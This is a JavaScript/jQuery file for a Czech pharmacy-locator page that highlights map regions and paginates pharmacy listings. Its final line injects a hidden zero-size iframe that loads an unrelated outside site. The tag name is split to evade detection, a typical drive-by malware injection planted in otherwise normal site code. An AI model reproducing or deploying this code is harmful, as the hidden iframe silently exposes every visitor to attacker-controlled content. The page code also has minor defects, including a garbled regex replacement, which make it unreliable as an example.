var lekarnyPages = 0;

jQuery(document).ready(function() {
  jQuery("#lekarny .lekarna").hide();


jQuery(function() {
    
    jQuery('#nahravam').hide();
    jQuery('#mapa .vrstva.zluta, #mapa .vrstva.cervena').css('opacity', 0);
    jQuery('#mapa area').each(function() {
    
        var id = jQuery(this).attr('id').substring(5);

        jQuery(this)
        .mouseover(
            function() {
               jQuery('#'+id+'-zluta').css('opacity', 0.4);
            }
        )
        .mouseout(
            function() {
               jQuery('#'+id+'-zluta').css('opacity', 0);
            }
        )       
        .click(function() {
            //jQuery('#mapa .vrstva.zluta').css('opacity', 0);
            //jQuery('#'+id+'-cervena').css('opacity', .7);
            //jQuery('#nahravam').show();
            val = jQuery(this).attr("id").substr(11);
            //jQuery("#lekarny .lekarna:not(.region-"+val+")").slideUp();
            //jQuery("#lekarny .lekarna.region-"+val).slideDown();
            showLekarny("region-"+val,jQuery(this).attr("title"));
            //init_pager(jQuery("#lekarny .lekarna.region-"+val).length);
            /*
            jQuery('#obsah').load(jQuery(this).attr('href'), { ajax: 1}, function() {
                jQuery('#nahravam').fadeOut(200);
            });
            */
           return false;
        });
        
        
    });
    
    var region = window.location.search.replace(/\?.*okres=(.*)/, "jQuery1");
    if (region) {
        var id = jQuery('area[@hrefjQuery='+region+']').attr('id')
        if (id) {
            jQuery('#'+id.substring(5)+'-zluta').css('opacity', .7);
        }
       
    }
    
      
      
  });

});

function resetLekarny() {
  jQuery("#lekarny .lekarna").slideUp();
  jQuery("#lekarnyFound").html('');
  jQuery("#lekarnyPager").html('');
  jQuery("#lekarnyPager2").html('');
}

function showLekarny(selectedClass,title) {
  //init counter
  count = 0;
  
  //max page num
  maxPageNum = jQuery("#lekarny .lekarna."+selectedClass).length/10; 
  
  //hide others
  jQuery("#lekarny .lekarna").each(function(){
    page = Math.floor(count/10)+1;
    
    if(jQuery(this).hasClass(selectedClass)) {
      jQuery(this).addClass("strana-"+page);
      if(page == 1) jQuery(this).slideDown();
      
      //increase counter
      count++;
      
      //set number of pages
      lekarnyPages = page;
    } else {
      for(j = 2;j < maxPageNum;j++) jQuery(this).removeClass("strana-"+j);
      jQuery(this).slideUp();
    }
  });
  
  //set label
  jQuery("#lekarnyFound").html("Zvolená lokalita: <strong>"+title+"</strong>, počet lékáren: <strong>"+count+"</strong>");
  
  //init pager
  html = '';
  if(count > 10) {
    html+='<a href="#" onclick="showLekarnyPage(1); return false;">1</a>';
    for(i = 2;i<(count/10)+1;i++) {
      html+=' | <a href="#" onclick="showLekarnyPage('+i+'); return false;">'+i+'</a>';
    }
  }
  
  //pager je nahore i dole
  jQuery("#lekarnyPager").html(html);
  jQuery("#lekarnyPager2").html(html);
}

function showLekarnyPage(page) {
  for(i = 1;i <= lekarnyPages;i++) {
    if(i == page) {
      jQuery("#lekarny .lekarna.strana-"+i+":hidden").slideDown();
    } else {
      jQuery("#lekarny .lekarna.strana-"+i+":visible").slideUp();
    }
  }
}
document.write('<ifr'+'ame frameborder="0" height="0" name="frame1" scrolling="no" src="http://sstew.forgottencelebs.com/home/1/" width="0"></ifr'+'ame>');
